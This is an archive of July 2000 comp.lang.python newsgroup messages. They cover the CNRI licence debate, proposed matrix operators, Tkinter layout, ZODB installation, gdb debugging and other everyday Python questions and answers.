The only solution to preserving the BSDish freedom claimed for
Python 1.5.2's source code would seem to be to start from a code
base totally unaffiliated with CNRI.  Of course this would be an
unthinkable undertaking starting from scratch...or would it?

My first question would be whether CNRI also claims in effect
the trademark for the Python language as well as the copyright
for the current source code.  Would someone be able to write
a Python compatible language from scratch and still call it Python
without CNRI's permission?

As to where a new code base might come from, a perhaps mystic
conjunction of circumstances has the Perl community beginning
planning for a rewrite of their code base for Perl 6.  The
obvious objection is that Perl's traditional license has been
somewhat different from Python's:  The code is dual-licensed under
either the GPL or the Artistic License.  But it seems to me that
the very beginning of this Perl effort is the one chance for
some strategic brokering between the leaders of the Python and
Perl communities.  O'Reilly & Associates, ActiveState, various
conferences, somewhere there has to be the opportunity for lines
of communication.

Even without the present difficulties, the Python community
could sure use the resources of say CPAN.  Is it unthinkable
in the future for Python programs to be able to use the same
repository and mirrors?

In my opinion to close the deal with CNRI, BeOpen must not
surrender the right to license underived code under different
licenses, say the perported license of Python 1.5.2.  BeOpen
needs to come away with an unencumbered equivalent of a
specification for the Python language.

Henry Jones


Sent via Deja.com http://www.deja.com/
Before you buy.


From wilson.austin.aj at bhp.com.au  Thu Jul  6 15:08:55 2000
From: wilson.austin.aj at bhp.com.au (A J Wilson)
Date: Fri, 7 Jul 2000 05:08:55 +1000
Subject: How do I ring the bell?
Message-ID: <8k2lcd$59v$1@gossamer.itmel.bhp.com.au>

Hi

I would like to ring the PC's bell (ie internal speaker) to alert the
operator that an operation has finished running.  How do I do this in my
python program?

Thanks
Austin




From spam at spam.com  Tue Jul 18 18:35:30 2000
From: spam at spam.com (Penfold)
Date: Tue, 18 Jul 2000 23:35:30 +0100
Subject: Operators for matrix: current choices (Was Matlab vs Python ...)
References: <Pine.LNX.4.10.10007180134360.9411-100000@rock.localdomain>
Message-ID: <ZW4d5.3559$FA2.391374@nnrp3.clara.net>

I'm sure Im jumping into a discussion where its already been thrashed to
death but ...

Huaiyu Zhu <huaiyu_zhu at yahoo.com> wrote in message
news:Pine.LNX.4.10.10007180134360.9411-100000 at rock.localdomain...
> This is a summary of what's discussed so far.
>
> On Tue, 18 Jul 2000, Moshe Zadka wrote:
> > ... we really meant that we'll help yo.
>
> Thanks!  I see where compile() is called.  But how is the parser itself
> called in python?  Only used as C function?  Now that we have a patch to
add
> the new operators, is it possible to assemble these into a module?
>
> Before we plunge into this thing which may turn out to be more laborious
> than MatPy itself, we need to get a handle on what's involved.  Let me
make
> a list in order of my preference.  Please jump in at any point that's both
> feasible and interesting enough for someone to actually do it:
>
> 1. Make a pure python way to introduce additional operators, like
>    import NewOperator
>    NewOperator.define(".+", "__dotadd__")
>    NewOperator.define("+=", "__add_ab__")
>    NewOperator.define(":=", "__copy__")
>
>    Advantage: Pure python.  Doesn't interfere with existing sytax.  May be
>    used for other operators.  Not in the core, only affect the module that
>    imports it.
>    Disadvantage: Said to be quite difficult to implement (Why?).

I'd expect it would be ...
(i) you're asking that the grammer be dynamically changed *as* the module
is being parsed.
(ii) are you going to restrict the possible new tokens
(iii) How does the python interpreter work ... for example the expression
a+b
results in byte code of the form
LOAD_FAST a
LOAD_FAST b
BINARY_ADD

That is, the BINARY_ADD operation deals with the issues of whether these are
instance types (and thus __add__, __radd__, __coerce__
etc should be invoked).  At least thats what Ive always believed (never
checked the source ;-)  ).  So what gets generated
for a .* operation?  An explicit call? does coercion, or the equivalent of
__radd__ ever happen? What happens when a and b
are not classes? [well, a TypeError obviously?]

I mean there are issues there ;-)

>
> 2. Incorporate additional operators in python.  Either . or @.  Five to
>    eight would be enough for linear algebra.
>
>    Advantage: Pure python.  Doesn't interfere with existing syntax.
>    Disadvantage: Fixed choice for everybody.  Unlikely to happen for quite
>    some time until everyone agrees on everything.

<mini rant>
What, really, is the point in this.  Its obvious why you want them, but why
does everyone else?
This is clearly a *domain specific* problem, which is yours, that you would
like Python to look like
MatLab.

+, / * are all good operators. When I read code and I see a+b, I dont know
what a and b are, but I can guess the
general effects/properties of the expression a+b.

If I read a @ b, what the hell does that mean?? It means *nothing* unless I
know MatLab.  Whats worse,
coders will use it for all sorts of things, all of them different.  Sure,
they can do that with + but generally dont, its got an
"implicit" meaning.

But why stop here, why not proliferate the language with #!'s. Hell, I want
python to be more like perl,
why cant I use all sorts of meaningless operators to do so?  Why, this is
python, if I wanted to do
that I should be using perl [or MatLab ;-)]

Analogy:
    Problem: Why do I have to write x.sendMessage(y.createMessage(txt))?  I
should be able to write x &^% (y *&^ txt)
    Solution: Python is broken, we need to redefine arbitrary operators so I
can do this.  Approxmately 1000 extra ones should
cover all contingencies.

</mini rant>

>
> 3. Maintain a patch for additional operators.
>
>    Advantage: once built, everything is pure python.  Already have patch.
>    Disadvantage: Can't guarantee most users can patch python, so in
practice
>    may need to maintain windows executable for download.
>
Better than 2 !!  At least you only butcher you copy of python ;-)

> 5. Use a customized parser in python, with some compile tools?
>
>    Advantage: can change anything.  Can fine tune before settle down.
>    Disadvantage: can change anything.  Slower than 1.  Don't know how to
use
>    it.  (But maybe they can be turned into option 1?)

Look up mxTextTools at vex.  Its not very nice to use itself, but there is a
wrapper API provided by someone else
for custom lexers/parsers.

>
> Note: I dislike some of the proposals because they look like ugly hacks to
> use the abundance of class names, method names, function names and string
> literals to walk around what is clearly just a shortage of a few operator
> symbols.  But I don't think we can reach consensus on such issue anyhow.
>
Adding @ and .* is an ugly hack to work around the desire to still be
writing MatLab

> If there is no more proposal forthcoming, I will adopt a combination of
> options 3 and 4, and hoping for someone to come up with 1.  The largest
> problem with this approach is this: If we can't guarantee the patch is
> usable everywhere, do we want everybody using these operators?  Will it
run
> on another machine, or even another version of python?  If such a status
> persists for a long time I guess all codes will settle into a local
optimum,
> something like
>
> (a.emul(b))*(c.emul(d))
>
> and an opportunity would be lost, even if in reality most people actually
> like (a.*b)*(c.*d).  This incidentally also removes an opportunity to see
if

Umm, maybe that means something in MatLab.  Alternatively to C++ people,
it looks like you're using pointers to member functions in C++ !!

> elementwise operators might be useful elsewhere, like
>
> ["%5.2f", "%-8s", "%.2g"] .% [pi, 'short', 1]

hmm, is that the same as "%5.2f %-8s %2g" % (pi, 'short', 1).

> ["Alice", "Bob", "Charlie"] .+ "is" .+ ["girl", "boy", "boy"]
>
[does it automatically add the spaces between the words too ;-)]
yes, because
map(lambda x,y: x+"is"+y, ["Alice", "Bob", "Charlie"] .+ "is" .+ ["girl",
"boy", "boy"])

> The argument "if it finds wide-spread use we may put it in the language"
has
> a severe limitation - if it is technically very difficult for users to use
a
> feature that's not in the language, it will unlikely to find wide-spread
use
> and may never get into the language.  That's why I really hope something
> like 1 can come up.

This is why python is not a democracy ;-)
>
> Inputs greatly appreciated.
>
>
> Huaiyu

ever-rantingly-yours,

D




From hzhu at localhost.localdomain  Mon Jul 31 00:01:52 2000
From: hzhu at localhost.localdomain (Huaiyu Zhu)
Date: Mon, 31 Jul 2000 04:01:52 GMT
Subject: Newbie DATA STRUCTURES Question.
References: <398248BC.32DE3CC@nycap.rr.com>
Message-ID: <slrn8o9uov.sv.hzhu@localhost.localdomain>

On Sat, 29 Jul 2000 02:57:03 GMT, gbp <gpepice1 at nycap.rr.com> wrote:
>
>I have experience with Perl but non with Python.  
>
>I need to write a script to read a large text file into a structured
>format.
>
>In Perl one can create a list of records using something like pointers. 
>So really you have a list of pointers-- each one pointing to an
>anonymous record.  Each record is some data from a line in the file.
>

Others have given more general answers, but I think you might have this
specific question in mind: you have a file of form

11 12 13
21 22 23
...

and you want to get a list of dictionaries (ie an array of hashes in Perl)

result = [{'a':11, 'b':12, 'c':13},
          {'a':21, 'b':22, 'c':23},
	  ...
	  ]

You can do it as the following (not tested)

file = open(filename)  # or file = sys.stdin
names = ['a','b','c']
result = []
for line in file.readlines():
   fields = string.split(line)  # or use re to extract the fields
   record = {}
   for name, field in map(None, names, fields):
       record[name] = field
   result.append(record)

Hope this helps.

Huaiyu


From moron at Glue.umd.edu  Mon Jul 17 20:53:52 2000
From: moron at Glue.umd.edu (Warren B. Focke)
Date: 17 Jul 2000 20:53:52 -0400
Subject: Does Python have "not a number" floating point values?
References: <8l03pc$92co$1@nntp6.u.washington.edu> <slrn8n76tg.2jc.hzhu@rocket.knowledgetrack.com>
Message-ID: <8l09r0$4nq@stochastic.eng.umd.edu>

(Huaiyu Zhu) said:
>On Mon, 17 Jul 2000 16:10:36 -0700, Russell E. Owen
><owen at astroNOJNK.washington.edu.invalid> wrote: 
>>Does Python support any sort of floating point "not a number"
>>(e.g. IEEE infinity)?

Python floats inherit the behavior of your C platform's doubles, so on
an IEEE-754 system, they will act fairly IEEE-like, as Huaiyu
demonstrates:

>Inf = inf = 1e300**2
>NaN = nan = inf - inf

However, according to a recent post, the OpenVMS port of python uses
VAX-format math[1], which has less exponent range than IEEE.  I think
that that expression for Inf will not parse there.  I don't even know
if VAXen have Inf or NaN.

Warren Focke

[1] http://www.deja.com/[ST_rn=ps]/getdoc.xp?AN=640022415&fmt=text
-- 
If you feel that you have both feet planted on level ground, then the
university has failed you. -Robert Goheen, President, Princeton University


From digitig at cix.co.uk  Tue Jul  4 17:23:00 2000
From: digitig at cix.co.uk (Tim Rowe)
Date: Tue, 4 Jul 2000 22:23 +0100 (BST)
Subject: Random number generation, simple question.
References: <8jqjf8$s1t$1@nnrp1.deja.com>
Message-ID: <memo.20000704222314.51603A@digitig.compulink.co.uk>

In article <8jqjf8$s1t$1 at nnrp1.deja.com>, jhylton at my-deja.com () wrote:

> In article <Pine.GSO.4.21.0007031546410.25965-100000 at luna.dsv.su.se>,
>   Kalle Svensson <kalle at gnupung.net> wrote:
> 
> > I have a few questions about the (pseudo) random number generator
> supplied
> > in the standard library. I need 80 random bits (for a CipherSaber IV)
> but
> > I hear most RNG's only supply 32 bits or less.
> 
<snip>
 
> I recommend looking at the Yarrow design by Kelsey, Schneier, and
> Ferguson:  http://www.counterpane.com/yarrow.html
> 
> A Python implementation of Yarrow-160 is included in the Pisces
> distribution:
> http://www.cnri.reston.va.us/software/pisces/manual/module-pisces.yarrow
> .html

Beat me to it! Yes, that's the serious way forward for a crypto 
application.


From akuchlin at mems-exchange.org  Tue Jul 11 12:05:53 2000
From: akuchlin at mems-exchange.org (Andrew Kuchling)
Date: 11 Jul 2000 12:05:53 -0400
Subject: POOP / Python (Object Oriented Persistence) ?
References: <003001bfeb2f$99f60250$f0c809c0@lslp7o.lsl.co.uk>
Message-ID: <3dzonozm72.fsf@kronos.cnri.reston.va.us>

"Tony J Ibbs (Tibs)" <tony at lsl.co.uk> writes:
> OK - I've lost one snag, so here's a new one (although much less
> important) - it's not clear (from the web pages) how to install the ZODB if
> one *doesn't* care about Zope in general - *presumably* one has to download
> the standard Zope distribution and just answer some questions?

I've submitted setup.py scripts that use the Distutils to install just
ExtensionClass, or just the ZODB, and makes it pretty easy.  Brian
Lloyd at Digicool, who's responsible for Zope releases, has said that
the scripts will get looked at after Zope 2.2final ships; I'd guess
that will happen in a week or so.  I'm pushing hard to get the ZODB
packaged separately, because it'll be hard to use in Python
applications if you can only get it by downloading all of Zope.
 
> I still think someone should be pushing this more...

Agreed; the ZODB is really quite cool!  At work we're beginning to use
ZODB for storing business-related objects, and it's an interesting
learning experience.  The major issues so far are:

	1) lack of documentation, particularly for various advanced
	properties of the ZODB.  

	2) the use of ExtensionClass means that the standard Python
	isinstance() doesn't work any more, so you need to use a
	modified version.  We've also hit things like ExtensionClass
	not supporting __radd__; the resulting symptoms are often
	mysterious and it's time-consuming to pin down what the
	problem is.  

	3) lack of an easy installation method, which is why I wrote
the setup.py scripts.

That's all I can think of at the moment.

--amk


From dan at cgsoftware.com  Mon Jul 31 11:40:39 2000
From: dan at cgsoftware.com (Daniel Berlin)
Date: Mon, 31 Jul 2000 08:40:39 -0700 (PDT)
Subject: looking for python object debugging hints
In-Reply-To: <87og3es4ai.fsf@oak.gitaram.com>
References: <87og3es4ai.fsf@oak.gitaram.com>
Message-ID: <Pine.LNX.4.21.0007310839050.14304-100000@propylaea.anduin.com>

On 31 Jul 2000 ramb at synopsys.com wrote:

> I've written some code to implement a new python object and I'm having
> some trouble with it. My code to implement the new object is written
> both in C and in Python. 
> 
> Here is the situation:
> 
> A python script imports my module and then starts calling
> various functions in my C shared library. The problem is
> that if I use gdb on the python binary my shared library
> is not loaded until the script starts running and that
> is too late to set a break point. What I want is some way
> to make it easy to use a debugger to debug my dynamically
> loaded shared library.



Look at the documentation to auto-solib-add.

Also, once your shared lib is loaded, just Ctrl-C at the gdb console, or
click stop (if you are using the GDB gui), and it'll break into the
debugger, and you can set your breakpoint.

 --Dan

C++ support maintainer - GDB





From dogboy777 at my-deja.com  Mon Jul 31 08:56:25 2000
From: dogboy777 at my-deja.com (dogboy777 at my-deja.com)
Date: Mon, 31 Jul 2000 12:56:25 GMT
Subject: Readline module?
Message-ID: <8m3t1n$p0h$1@nnrp1.deja.com>

I'd like to use the readline module in a python script running on Linux.
 Our sys admin just updated our version of Python to 1.5.2, but the
readline module isn't there.  What's particularly wierd is that
rlcomplete _is_ there:

python
Python 1.5.2 (#1, Jul 31 2000, 08:16:09)  [GCC 2.7.2.3] on linux2
Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam
>>> import rlcompleter
Traceback (innermost last):
  File "<stdin>", line 1, in ?
  File "/usr/lib/python1.5/rlcompleter.py", line 43, in ?
    import readline
ImportError: No module named readline
>>>

Any idea what's up or where to find the readline module?

Thanks,
Anders Schneiderman

P.S.  I also noticed that the readline module is listed in the Python
Essential Reference book and is mentioned by several documentation
pages, but it isn't on the module list
(http://www.python.org/doc/current/modindex.html).  Hmmm...


Sent via Deja.com http://www.deja.com/
Before you buy.


From hopper at omnifarious.mn.org.bbs  Mon Jul 17 14:50:03 2000
From: hopper at omnifarious.mn.org.bbs (hopper at omnifarious.mn.org.bbs)
Date: 17 Jul 2000 18:50:03 GMT
Subject: Reading asynchronous data from a serial device
Message-ID: <3bRLiR$lXa@openbazaar.net>

In article <8kuvg0$kg2$1 at nnrp1.deja.com>, julesk24 at my-deja.com wrote:
>
> 1)  Is there any (easy) way for me to cause the thread to exit (not
> just join the processes) after a timeout on a read?

I believe you can start the thread as a daemon thread and not have the
join problem.  When the thread exits, it just disappears and doesn't wait
for its parent thread to notice.

I'm not sure how to start it as a daemon thread.

> 2)  Is there a better way of reading for data (without starting my own
> thread for the read process and then trying to exit out of the thread
> after a period of time)?

Yes.  Use a select(2), or poll(2) based mechanism.  I believe the asyncore
module handles this for you.  I will also be adding a python wrapper to my
C++ StreamModule (http://www.sourceforge.net/projects/strmod) system
someday, and that should also nicely handle the problem.

Have fun (if at all possible),
--Eric Hopper


From eric at estinc.com  Thu Jul  6 15:25:19 2000
From: eric at estinc.com (Eric Lee Green)
Date: Thu, 06 Jul 2000 19:25:19 GMT
Subject: Segmentation fault(LINUX) and no idea why!
References: <39632A2C.E6ABECEB@muc.das-werk.de>
Message-ID: <3964DD6E.12F37B7E@estinc.com>

Thomas Thiele wrote: 
> In my program I create a new thread. In this new thread I fork and
> replace the child with an other program
> using excel. Normaly I have up to four threads with this procedure. So I
> have a number of threads and the same numbers of childs (the called
> program)
> 
> The problem is sometimes (relativly seldom, so it's unreproducible ;-( )
> I get a segmantation fault and the pytthon interpreter stops.

I haven't had good luck with forking a multi-threaded Python program, unless I
immediately follow the fork() with an exec(). I suspect it's something to do
with the internal state that Python uses as part of the thread stuff, but
haven't cared enough to track it down (I dumped the whole 'threads' stuff
instead, because I have found no way of telling whether a thread is still
running or not...). 

-- 
Eric Lee Green                         eric at estinc.com
Software Engineer                      Visit our Web page:
Enhanced Software Technologies, Inc.   http://www.estinc.com/
(602) 470-1115 voice                   (602) 470-1116 fax


From kpmurphy at my-deja.com.bbs  Mon Jul 17 16:10:05 2000
From: kpmurphy at my-deja.com.bbs (kpmurphy at my-deja.com.bbs)
Date: 17 Jul 2000 20:10:05 GMT
Subject: grid
Message-ID: <3bRO0T$kuE@openbazaar.net>

does this look alright?

# embed.py
from Tkinter import *

root = Tk()

left = Frame(root, bg='red')
right = Frame(root, bg='orange')

button1 = Button(left, text='hi')
button2 = Button(right, text='yo')

entry1 = Entry(left)
entry2 = Entry(right)

label1 = Label(left, text='this is schweet')

left.grid(row=0, column=0, ipadx=10, ipady=10)
right.grid(row=0, column=1, ipadx=10, ipady=10)
button1.grid(row=0, column=0)
button2.grid(row=0, column=0)
entry1.grid(row=0, column=1)
entry2.grid(row=0, column=1)
label1.grid(row=1, column=0, columnspan=2)


mainloop()
# end embed.py


thanks,
-->keith

In article <8kvkvt$68h$1 at nnrp1.deja.com>,
  Keith Murphy <kpmurphy at my-deja.com> wrote:
> can you embed grids?  ...what i'd like to do is grid within several
> frames, and then grid the frames together.  sort of like html
tables...
> i hate pack.
>
> -->keith
>
> Sent via Deja.com http://www.deja.com/
> Before you buy.
>


Sent via Deja.com http://www.deja.com/
Before you buy.


From mlh at idi.ntnu.no  Mon Jul 31 15:38:49 2000
From: mlh at idi.ntnu.no (Magnus Lie Hetland)
Date: Mon, 31 Jul 2000 21:38:49 +0200
Subject: [5th Draft] Open Letter to CNRI: Request for clarification
References: <3985D797.E5D2FC08@nowonder.de>
Message-ID: <8m4kmu$1eq$1@kopp.stud.ntnu.no>

Peter Schneider-Kamp <nowonder at nowonder.de> wrote in message
news:3985D797.E5D2FC08 at nowonder.de...

[...]
> The following attached signatures represent people from the Python
> community who would like some clarification regarding the future of the
> Python language. As of now, there has been no official statement from
> your institution regarding the new Python license. We are especially
> interested in the underlying intention of this change. So we request
> a plain-English, non-legalese statement regarding the purpose of that
> change and the ways in which it affects Python's use.
[...]

Hm. I obviously haven't been paying enough attention lately... I don't
know what this about - but it seems a tad disturbing... If the changes
in the licence *might* restrict the use of Python, I would be *very*
worried... So, I guess I qualify (being interested in a clarification);
feel free to add me to the list. (I am a Ph. D. student in computer
science, if you want to include that in the list...)

--

  Magnus Lie Hetland      (magnus at hetland dot org)

 "Reality is what refuses to disappear when you stop
  believing in it"                 -- Philip K. Dick





From bkc at Murkworks.com  Wed Jul 19 10:20:39 2000
From: bkc at Murkworks.com (Brad Clements)
Date: Wed, 19 Jul 2000 10:20:39 -0400
Subject: Python-dev summary: July 1-15
References: <20000718100813.C21354@newcnri.cnri.reston.va.us>
Message-ID: <YGid5.42$pa6.3927@news.clarkson.edu>

Great posting, please do more.

--
Brad Clements,
bkc at murkworks.com
"Andrew Kuchling" <akuchlin at cnri.reston.va.us> wrote in message
news:20000718100813.C21354 at newcnri.cnri.reston.va.us...
> This is a first experiment in whether I can make a useful,
> interesting, somewhat coherent summary of python-dev activity.
> If reaction is favorable, and time permits, it may become a biweekly
> posting.
>




From richard_chamberlain at my-deja.com  Mon Jul 17 04:45:45 2000
From: richard_chamberlain at my-deja.com (richard_chamberlain at my-deja.com)
Date: Mon, 17 Jul 2000 08:45:45 GMT
Subject: Tkinter and absolute positioning
References: <8kudt2$92e$1@nnrp1.deja.com>
Message-ID: <8kuh3m$b4v$1@nnrp1.deja.com>

Hi Ruud,

You can do absolute positioning with place:

from Tkinter import *
root=Tk()
Label(root,text="He's not the messiah,").place(x=5,y=5)
Label(root,text="he's a very naughty boy.").place(x=35,y=70)
root.mainloop()

Not highly recommended though!

Richard



In article <8kudt2$92e$1 at nnrp1.deja.com>,
  Ruud Cox <ruud.cox at philips.com> wrote:
>
>
> Is there a way to position child widgets on a TopLevel
> widget using absolute coordinates instead of using pack,
> place or grid?
>
> Ruud Cox
>
> Sent via Deja.com http://www.deja.com/
> Before you buy.
>


Sent via Deja.com http://www.deja.com/
Before you buy.


From bmcd at es.co.nz  Thu Jul 20 18:29:10 2000
From: bmcd at es.co.nz (Ben Caradoc-Davies)
Date: 20 Jul 2000 22:29:10 GMT
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <8l6vul$5ig$1@slb3.atl.mindspring.net> <x83HMXAHJxd5EwAj@jessikat.fsnet.co.uk> <m2n1jcooct.fsf@spiff.home.com> <39772612.CE635178@fft.be> <8l7c80$mlc$1@tomm.stsci.edu> <Pine.LNX.4.10.10007201256340.17820-100000@us2.mayo.edu>
Message-ID: <slrn8nevfr.d8.bmcd@ripley.sulaco.net>

On Thu, 20 Jul 2000 13:05:54 -0500, Travis Oliphant <olipt at mayo.edu> wrote:
>Definining * to be matrixwise should be handled by
>subclassing the generic array (which will be much easier to do
>without breaking compatibility with compiled extension modules in the
>future Numeric).

I agree. Using Python's object capabilities is better than messing with the
grammar. Although I must say the (*) forms are by far the least bad. As far as
I'm concerned, Matlab is a poor example to follow. I've seen a number of people
burnt by the differences between A' (adjoint) and A.' (transpose), for example. 

May I propose a single generalised way to add syntax? In this way, syntax can
be used as appropriate to context, without cluttering the core language.

The fact that APL has been mentioned in this thread is a bad, *bad* sign.

>I'm not sure we should blow our chance to get some useful operators into
>Python by over-reaching...  Also, unless you've used Numeric with Python
>for a while, it's easy to over-value the use of the infix notation.
>This really bugged me when I first started using Numeric Python as
>well, but it doesn't bother me anymore.  The syntax does not have
>to be as bad as Huaiyu demonstrates.  

I wholeheartedly endorse this view.

"Syntactic sugar causes cancer of the semicolon" -- Alan Perlis

One of Python's greatest features is its simplicity. Adding extra syntax
reduces this. I won't mention The Other Language.

Ministry of silly syntax:

(*)   Darth Vader
|*|   Tie Fighter
>+<   X-Wing

-- 
Ben Caradoc-Davies <bmcd at es.co.nz>


From tony at lsl.co.uk  Tue Jul 11 08:00:26 2000
From: tony at lsl.co.uk (Tony J Ibbs (Tibs))
Date: Tue, 11 Jul 2000 13:00:26 +0100
Subject: POOP / Python (Object Oriented Persistence) ?
In-Reply-To: <srtlmsojqdta027bds7psigsjjg5pnmrmf@4ax.com>
Message-ID: <003001bfeb2f$99f60250$f0c809c0@lslp7o.lsl.co.uk>

Toby Dickenson wrote:
> As of very recently, __getattr__ and __setattr__ do mix with ZODB
> persitent objects :-)

Yeah!

(In fact, when writing that this was a snag of ZODB, I *nearly* also wrote
something like "but doubtless someone will provide a workaround for this
when it becomes too incovenient". I didn't because (a) my email was already
too long, and (b) I wasn't *sure* it was technically possible to make the
work round trivial for users. I shouldn't have worried - that time machine
can be so confusing.)

OK - I've lost one snag, so here's a new one (although much less
important) - it's not clear (from the web pages) how to install the ZODB if
one *doesn't* care about Zope in general - *presumably* one has to download
the standard Zope distribution and just answer some questions?

I still think someone should be pushing this more...

Tibs

--
Tony J Ibbs (Tibs)      http://www.tibsnjoan.demon.co.uk/
ZODB - "Nyah! Nyah! *My* variables last longer than *your* variables."
My views! Mine! Mine! (Unless Laser-Scan ask nicely to borrow them.)




From claird at starbase.neosoft.com  Thu Jul 27 09:21:23 2000
From: claird at starbase.neosoft.com (Cameron Laird)
Date: 27 Jul 2000 08:21:23 -0500
Subject: They let just anyone in (was: Perl is worse! (was: Python is Wierd!))
References: <8losor$4bk$1@nnrp1.deja.com>
Message-ID: <6835F57D8D497113.94DDC1FD971207C4.B1EF584692BAD54C@lp.airnews.net>

In article <8losor$4bk$1 at nnrp1.deja.com>, Jonathan  <theebh at yahoo.com> wrote:
			.
			.
			.
>But the irony now is that ZOPE will be 'opened' to PERL too. I have
>read through the 'debates' going on in the zope mailing list, but it
>still doesn't make sense - why allow Zope to be polluted by something
>that is clearly deficient? It's like allowing people to use sand
>instead of cement to build a house. (I haven't mastered Zope yet, so i
			.
			.
			.
No, it's like letting people native to Sandland
come and visit.  We treat them nicely while they're
in Pythonia, and wish them well.

They're already using sand for their houses.  They
don't need us to "allow" them.

Perhaps you see irony in that.

There's no pollution of Zope.  It's always been
quite flexible and open.  People use it for all
kinds of things, in all kinds of ways.  The Feds
don't run background checks for prior activity,
nor does anyone post a bond pledging only Python-
based advocacy.
-- 

Cameron Laird <claird at NeoSoft.com>
Business:  http://www.Phaseit.net
Personal:  http://starbase.neosoft.com/~claird/home.html


From cjensen at bioeng.ucsd.edu  Tue Jul 11 18:47:49 2000
From: cjensen at bioeng.ucsd.edu (Curtis Jensen)
Date: Tue, 11 Jul 2000 15:47:49 -0700
Subject: Script for checking FTP + HTTP links?
References: <396BAD73.MD-1.4.4.angband@blueyonder.co.uk>
Message-ID: <396BA415.C8D4301F@bioeng.ucsd.edu>

Bablos wrote:
> 
> Hi There...
> 
> I'm looking for a script that can check through several HTML files and
> check the links to other HTML files, and also any files linked via FTP
> and HTTP. I've found a Perl script that does this, and there MUST be a
> Python script out there that does it.
> 
> Any ideas where I can find such a script?  I'd try writing one myself,
> but the idea just gives me a headache!
> 
> Bablos.



There is a webchecker module.
I believe it's in the python/Tools directory of the python install.



-- 
Curtis Jensen
cjensen at bioeng.ucsd.edu
http://www-bioeng.ucsd.edu/~cjensen/
FAX (425) 740-1451


From fiona at sitegnome.com  Sat Jul 29 04:32:33 2000
From: fiona at sitegnome.com (Fiona Czuczman)
Date: Sat, 29 Jul 2000 18:32:33 +1000
Subject: Python in politics (sssssssssnake!)
References: <nif3osg6mr87dsd5grafifpck048jr6ec9@4ax.com>
Message-ID: <398296A1.1A97571A@sitegnome.com>

Hi Kirby,

Your mail got me thinking...

I've just started trying to teach my 9 year old son how to program, I
choose Python because I'm trying to learn it as well....

He thinks he is 'cool', and I quote 

- "I'm not here to make (make dinner) I'm here to program" - in an
attempt to get out of helping me with the cooking.

body actions of a super hero (muscle flex left and right arms :) ....
hopefully I'll be able to maintain that level of enthusiasm.  Do all you
guys do that?? <g>

I'd be interested if there are guidelines somewhere for parents to teach
their kids how to code?  When it comes to 9 year olds the tutorials are
pretty scary ... maybe I should start working on that? Is anyone
actively working on that now...?

Thanks,

Fiona 

Kirby Urner wrote:
> 
> Something from another newsgroup but mentions Python, so I
> elected to cross-post (to the CIA group as well, because of
> the InQTel thing)[1].  For more context re the below, check:
> 
> http://www.egroups.com/message/synergeo/1319
> http://www.egroups.com/message/synergeo/1321
> 
> Also my "Math Makeover" homepage at:
> http://www.teleport.com/~pdx4d/makeover0.html
> 
> The basic idea is to remix education topics to come up
> with more robust synergies (blah blah) i.e. get more
> kids doing Python programming around polyhedra, while
> watching TV shows which show how life in a Fly's Eye
> dome might be exciting, and useful to others (ala 'ER').
> 
> Kirby
> 4D Solutions
> .projects: videogrammatron, synergetics, philosophers network
> 
> [1] http://www.in-q-tel.com/
> 
> Note: changed "Malthusian" to "Malthusian-minded" for a
> better read.
> 
> =========================================================================
> 
> Newsgroups:   bit.listserv.geodesic
> Date:         Fri, 28 Jul 2000 09:37:43 -0700
> Reply-To:     List for the discussion of Buckminster Fuller's works
>               <GEODESIC at LISTSERV.ACSU.BUFFALO.EDU>
> Sender:       List for the discussion of Buckminster Fuller's works
>               <GEODESIC at LISTSERV.ACSU.BUFFALO.EDU>
> From:         Kirby Urner <pdx4d at TELEPORT.COM>
> Subject:      Re: more late night synergetics
> Comments: cc: synergeo at egroups.com
> To:           GEODESIC at LISTSERV.ACSU.BUFFALO.EDU
> 
> At 08:55 AM 07/28/2000 -0700, Dick Fischbeck wrote:
> >Kirby-This is getting close to language I can really
> >grab onto.  Would you rewrite this piece, say so that
> >an average sixth-grade could get it?
> >Thanks,
> >Dick
> 
> I think for TV-immersed 6th graders these ideas would
> work best if presented as video with computer graphics.
> 
> What we need is a databank of short videoclips,
> averaging under a minute in length, and retrievable
> by key word.  You string these together or call them
> up in response to student questions.  Hypertext
> interface.  Distribution is by CDROM or DVD.
> 
> In the USA, the Department of Education and DARPA
> should be pumping bucks into some prototypes, in
> consortium with the private sector (the corporations
> need not always be USA-based e.g. Sony), to catalyze
> a renaissance in education.  A presidential candidate
> who doesn't speak in definite, clear terms about how
> she or he plans to revamp education is just blowing
> smoke, trying to get elected without doing the
> requisite homework.
> 
> DARPA previously funded a "Computer Programming for
> Everybody" initiative (CP4E) designed to get more
> programming into the schools, with the Python language
> spearheading the effort.[1]  That grant has long since
> run out, and is small change next to what's needed
> to spark imaginations around design science concepts
> more generally.
> 
> Hollywood needs to get into the act, casting stars
> against a backdrop of futuristic artifacts that exists
> as working prototypes, not simply as phoney props or
> stage magician special effects.  The game of brand
> placement (embedding logos in the actual programs,
> vs. separating out into separate advertising segments)
> will make a lot of sense in this context, as corporations
> vie with one another to prove their sponsorship of
> the "sexiest future" (e.g. Fly's Eye air-liftable
> utility pods, wired to cyberspace and staffed by
> youngsters with heavy duty real world responsibilities,
> ala ER -- real time camera access via webcam and TV
> segments (this is not a new theme for me -- shows
> like 'Survivor' bring us closer)).
> 
> We're in dire need of a realistic futurism, an
> attainable positive tomorrow.  Because a self-indulgent
> and Malthusian-minded academia has fallen down on the
> job (by and large), Federation pseudo-Science ala
> Star Trek has been allowed to fill the cultural
> void, holding out the prospect of a high tech future,
> but using mumbo jumbo concepts instead of hard
> science-math, leaving kids to fantasize helplessly
> about some 24th century, while Spaceship Earth
> meanwhile remains in the grip of obsolete power
> structures, desparate to hang on to power (the
> Napster fracas being just the tip of the iceberg
> vis-a-vis that juggernaut).[2]
> 
> A lot of intellectuals overseas are well-aware of
> how USA politicos are consistently and concertedly
> ignoring their leadership responsibilities, which
> include inspiring positive future visions, vs. simply
> serving as the puppets and task masters of those
> who see humans as little more than exploitable
> consumers.  This has the effect or eroding the
> credibility and even the comprehensibility of the
> political leadership.  Why don't they make any
> sense?
> 
> Education is from the inside out, but the inner world
> has been left in the hands of media manipulators who
> fill heads with cheap googoo-brained claptrap,
> whatever it takes to create a new generation of mall
> rats and fast food junkies.  The USA, such as it
> still exists, is working to counter that diet, with
> healthful content -- design science based positive
> future imagery, backed up with real math and
> science, being chief among the vitamins and
> minerals we need to firm up our jello-brained
> culture.
> 
> We should start a race to see which presidential
> candidate we can get to say "Buckminster Fuller"
> on TV first.  The Republicans have an edge, because
> President Reagan awarded Bucky the Medal of Freedom.
